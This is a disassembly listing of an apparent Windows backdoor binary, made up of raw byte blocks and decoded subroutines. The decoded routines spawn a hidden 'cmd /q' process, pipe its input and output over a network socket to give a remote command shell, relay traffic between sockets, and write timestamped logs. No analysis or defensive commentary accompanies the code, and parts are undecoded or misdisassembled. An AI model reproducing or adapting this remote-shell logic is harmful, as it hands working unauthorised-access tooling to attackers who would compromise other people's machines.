0C0859002h, 0E8902975h dd 226FE74h, 43106850h, 59E80043h, 59000047h, 0FC15FF59h dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 0F522E857h, 5390022Ch dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h dd 0B075FF00h, 0AFA415FFh, 66A004Ch, 66026A57h, 89E24589h dd 15FFE475h, 4CB024h, 0FB83D88Bh, 3B840FFFh, 8B000001h dd 106AB445h, 234C069h, 98890000h, 43DEECh, 50E0458Dh dd 0D015FF53h, 85004CAFh, 17850FC0h, 68000001h, 7FFFFFFFh dd 0CC15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342D4h dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB038h dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h dd 0FFFF68h, 15FF5700h, 4CAF84h, 74FFF883h, 45B70FC5h dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB03015h, 858D5000h dd 0FFFFFBECh, 43429068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 0E4888924h dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh dd 56F0458Dh, 0F3E6E850h, 8B900226h, 0C969B84Dh, 234h dd 8189C63Bh, 43DEF4h, 75391374h, 37850FC8h, 6AFFFFFFh dd 290E832h, 0EB900226h, 0FCEAE8EDh, 50900226h, 43425468h dd 45CEE800h, 59590000h, 7D8B03EBh, 3815FF08h, 50004CAFh dd 0FBEC858Dh, 1C68FFFFh, 50004342h, 0AC15E8h, 0CC48300h dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB03C15h, 15FF5300h dd 4CB03Ch, 0AEFC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh dd 2CF337E8h, 335B9002h, 244439C0h, 0C0940F04h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD5 proc near ; CODE XREF: ___:0041096Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E26 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43DEEC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF8 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_410D40 call near ptr 2680930h nop push eax push offset unk_4343B4 call sub_415220 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7A ; --------------------------------------------------------------------------- loc_410D40: ; CODE XREF: sub_410CD5+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AA lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_410D81 nop call near ptr 2680930h push eax push offset unk_4343B4 call sub_415220 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call near ptr 2690632h nop loc_410D7A: ; CODE XREF: sub_410CD5+69j xor eax, eax jmp loc_410E21 ; --------------------------------------------------------------------------- loc_410D81: ; CODE XREF: sub_410CD5+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 2780E7Ah sub eax, ebx jz short loc_410DDB dec eax jz short loc_410DD5 dec eax jz short loc_410DC1 nop call near ptr 2680930h push eax push offset unk_434380 call sub_415220 pop ecx pop ecx jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DC1: ; CODE XREF: sub_410CD5+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DD5: ; CODE XREF: sub_410CD5+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DDF ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_410CD5+CFj push ebx push dword ptr [esi+14h] loc_410DDF: ; CODE XREF: sub_410CD5+104j nop call near ptr 2690632h push 1 push dword ptr [esi+8] nop call near ptr 270099Bh loc_410DF0: ; CODE XREF: sub_410CD5+EAj ; sub_410CD5+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CB03C push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E21: ; CODE XREF: sub_410CD5+A7j pop edi pop esi pop ebx leave retn sub_410CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F10 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427068 test eax, eax jnz short loc_410E89 nop call near ptr 2680930h push eax push offset unk_434464 jmp short loc_410EA9 ; --------------------------------------------------------------------------- loc_410E89: ; CODE XREF: sub_410E26+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_410EB1 call near ptr 2680930h nop push eax push offset unk_434424 loc_410EA9: ; CODE XREF: sub_410E26+61j call sub_415220 pop ecx jmp short loc_410EDF ; --------------------------------------------------------------------------- loc_410EB1: ; CODE XREF: sub_410E26+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F1F add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_410F14 push offset unk_4343FC call sub_4151AC loc_410EDF: ; CODE XREF: sub_410E26+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEB push [ebp+var_4] call edi loc_410EEB: ; CODE XREF: sub_410E26+BEj cmp [ebp+var_8], 0 jz short loc_410EF6 push [ebp+var_8] call edi loc_410EF6: ; CODE XREF: sub_410E26+C9j mov eax, [esi] test eax, eax jz short loc_410EFF push eax call edi loc_410EFF: ; CODE XREF: sub_410E26+D4j mov eax, [esi+4] test eax, eax jz short loc_410F09 push eax call edi loc_410F09: ; CODE XREF: sub_410E26+DEj push esi call sub_41B0B1 pop ecx loc_410F10: ; CODE XREF: sub_410E26+1Dj xor eax, eax jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F14: ; CODE XREF: sub_410E26+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1A: ; CODE XREF: sub_410E26+ECj pop edi pop esi pop ebx leave retn sub_410E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F1F proc near ; CODE XREF: sub_410E26+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2710000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call near ptr 2661D38h nop test eax, eax jz short loc_410FDB mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43DEE8[eax], ecx call near ptr 26619D4h nop jmp short loc_410FF1 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_410F1F+9Aj call near ptr 2680930h nop push eax push offset unk_4344A4 call sub_415220 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF1: ; CODE XREF: sub_410F1F+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411021: ; CODE XREF: sub_410FF8+8Fj call ebx test eax, eax jz short loc_411089 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105C loc_411032: ; CODE XREF: sub_410FF8+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104C cmp dl, 0Dh jz short loc_41104C mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104C: ; CODE XREF: sub_410FF8+44j ; sub_410FF8+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411032 loc_41105C: ; CODE XREF: sub_410FF8+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CAFF4 test eax, eax jle short loc_411089 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411021 ; --------------------------------------------------------------------------- loc_411089: ; CODE XREF: sub_410FF8+2Dj ; sub_410FF8+79j mov esi, dword_42708C call esi cmp eax, 6Dh jz short loc_4110A5 call esi push eax push offset dword_4344E4 call sub_415220 pop ecx pop ecx loc_4110A5: ; CODE XREF: sub_410FF8+9Cj pop edi pop esi pop ebx leave retn sub_410FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AA proc near ; DATA XREF: sub_410CD5+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C3: ; CODE XREF: sub_4110AA+39j ; sub_4110AA+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CAFBC test eax, eax jle loc_4111C8 cmp [ebp+var_10], ebx jbe short loc_4110E5 dec [ebp+var_10] jmp short loc_4110C3 ; --------------------------------------------------------------------------- loc_4110E5: ; CODE XREF: sub_4110AA+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A8 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411155 cmp al, 7Fh jz short loc_411155 cmp al, 3 jnz short loc_411110 push ebx push ebx nop call near ptr 2790000h jmp short loc_41117C ; --------------------------------------------------------------------------- loc_411110: ; CODE XREF: sub_4110AA+5Aj cmp al, 15h jnz short loc_411132 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411132: ; CODE XREF: sub_4110AA+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411169 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411155: ; CODE XREF: sub_4110AA+52j ; sub_4110AA+56j cmp esi, ebx jbe short loc_41117F dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411168: ; CODE XREF: sub_4110AA+86j ; sub_4110AA+A9j pop ecx loc_411169: ; CODE XREF: sub_4110AA+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CAFF4 test eax, eax jle short loc_4111C8 loc_41117C: ; CODE XREF: sub_4110AA+64j mov al, byte ptr [ebp+arg_0+3] loc_41117F: ; CODE XREF: sub_4110AA+ADj cmp al, 0Dh jnz loc_4110C3 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 26F0000h test eax, eax jz short loc_4111C8 xor esi, esi jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111A8: ; CODE XREF: sub_4110AA+47j cmp [ebp+var_C], ebx jnz short loc_4111B9 mov [ebp+var_C], 1 jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111B9: ; CODE XREF: sub_4110AA+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111C8: ; CODE XREF: sub_4110AA+2Bj ; sub_4110AA+D0j ... pop edi pop esi pop ebx leave retn sub_4110AA endp ; --------------------------------------------------------------------------- byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h dd 75FF0002h, 0A415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h dd 0FFF07589h, 4CB02415h, 8BF88B00h, 0C069C445h, 234h dd 0ECB88953h, 8D0043DEh, 5750EC45h, 0AFD015FFh, 0C085004Ch dd 121850Fh, 0A6A0000h, 0CC15FF57h, 85004CAFh, 10850FC0h dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh dd 0FFFD2C85h, 0B8EC68FFh, 0E8500042h, 0A606h, 3910C483h dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h dd 4CB038h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h dd 0B03015FFh, 8D50004Ch, 0FFFD2C85h, 459068FFh, 0E8500043h dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43DEE4h, 5008458Dh dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h, 26ECD7E8h dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEF48189h, 13740043h dd 0FD87539h, 0FFFF6385h, 90056AFFh, 25FB81E8h, 0E8EDEB02h dd 226F5DCh, 858D5090h, 0FFFFFD2Ch, 43455468h, 1FE85000h dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B03C15FFh, 75FF004Ch dd 2C858DC0h, 68FFFFFDh, 434520h, 0A4FCE850h, 0C4830000h dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh dd 0EC32E856h, 5F90022Ch, 8B555B5Eh, 0D4EC81ECh, 8B000005h dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h dd 89016AD4h, 0F6690875h, 234h, 0ECB68D5Fh, 890043DEh dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh dd 8C15FFFFh, 85004CAFh, 0FF1875C0h, 3C15FF36h, 0FF004CB0h dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022CEBh, 0FB30858Dh dd 868FFFFh, 50000004h, 15FF36FFh, 4CAFBCh, 187FC085h dd 15FF36FFh, 4CB03Ch, 0E80875FFh, 0FFFF9F96h, 0E8905359h dd 22CEB7Ch, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h dd 38858D50h, 50FFFFFBh, 43465868h, 3D52E800h, 680000h dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh dd 5DFFFFFBh, 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh dd 36FF5008h, 0AFF415FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Ch, 53E8458Dh dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h dd 0B02415FFh, 0F88B004Ch, 75FFFF83h, 3815FF5Dh, 50004CAFh dd 43461868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0AFF415FFh dd 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh dd 0EA4EE890h, 458D022Ch, 50106AE8h, 4C15FF57h, 83004CAFh dd 5D75FFF8h, 0AF3815FFh, 6850004Ch, 4345D4h, 3C4BE8h dd 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h dd 86A53FFh, 0FF36FF50h, 4CAFF415h, 0FF36FF00h, 4CB03C15h dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2CE9DFE8h, 4006802h dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh dd 0FF36FF50h, 4CAFF415h, 5736FF00h, 39E8h, 57595900h dd 0B03C15FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9D9CE808h dd 5359FFFFh, 0E982E890h, 36FF022Ch, 0B03C15FFh, 75FF004Ch dd 9D84E808h, 5359FFFFh, 0E96AE890h ; --------------------------------------------------------------------------- sub al, 2 push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4116AC: ; CODE XREF: ___:0041175Bj ; ___:0041178Bj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4116C4: ; CODE XREF: ___:004116D2j mov edx, [ebp+8] cmp [eax], edx jz short loc_4116D4 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C4 loc_4116D4: ; CODE XREF: ___:004116C9j cmp ecx, 1 jnz short loc_4116E9 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4116E9: ; CODE XREF: ___:004116D7j push esi lea eax, [ebp-504h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CAF8C lea eax, [ebp-104h] push eax push ebx call dword_4CAE90 test eax, eax jz short loc_411749 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CAFBC cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jz short loc_411791 loc_411749: ; CODE XREF: ___:0041171Bj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CAE90 test eax, eax jz loc_4116AC push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CAFBC cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz loc_4116AC loc_411791: ; CODE XREF: ___:00411730j ; ___:00411747j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do ; sub_40BACD+106o dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h dd 4CB02415h, 83F08B00h, 5675FFFEh, 19068h, 0E3E89000h dd 390225F6h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Ch dd 50046AF0h, 0FFFFBFh, 57046A00h, 8415FF56h, 8D004CAFh dd 46AEC45h, 57FB6A50h, 8415FF56h, 8B004CAFh, 0FFFE9885h dd 69106AFFh, 234C0h, 0B0895300h, 43DEECh, 50D4458Dh, 9D17E8h dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AFA415FFh dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0AFD015FFh dd 0F883004Ch, 681975FFh, 1388h, 0F61CE890h, 8DFF0225h dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h dd 90000001h, 25F5E9E8h, 858D5302h, 0FFFFF888h, 0FF24B5FFh dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Ch, 0A09F3908h dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h dd 0FFFFF784h, 0FF535053h, 4CAF8C15h, 0FC08500h, 2398Eh dd 0D158A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h dd 0FFFF3085h, 8068FFh, 56500000h, 0AF7C15FFh, 75FF004Ch dd 0F84589C8h, 0B03015FFh, 8D50004Ch, 0E850B045h, 9EAEh dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h dd 0FF5650FFh, 4CB00815h, 0B0458D00h, 88858D50h, 68FFFFF8h dd 4346C4h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h dd 15FF5650h, 4CB008h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh dd 0A468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDAAC05h, 16EB5900h dd 8DF475FFh, 5350C445h, 9868096Ah, 56004346h, 0B00815FFh dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB03C15h dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022CE4h dd 3E8h, 0F2C8E890h, 0E8570225h, 0FFFFFB8Ah, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax call near ptr 279020Ch nop lea eax, [ebp-114h] push 104h push eax call near ptr 2670A39h nop lea eax, [ebp-114h] push offset asc_434E84 ; "\\" push eax call sub_41BEC0 lea eax, [ebp-114h] push offset dword_429118 push eax call sub_41BEC0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7A push 1 pop eax jmp short loc_411CF1 ; --------------------------------------------------------------------------- loc_411C7A: ; CODE XREF: ___:00411C73j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_411CEF push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_434E54 push 200h push eax call sub_41B980 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_409A72 add esp, 24h loc_411CEF: ; CODE XREF: ___:00411CB6j xor eax, eax loc_411CF1: ; CODE XREF: ___:00411C78j pop esi leave retn ; --------------------------------------------------------------------------- dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h ; DATA XREF: sub_401ACD+4508o dd 256A00FFh, 0FC6583h, 8DF08B59h, 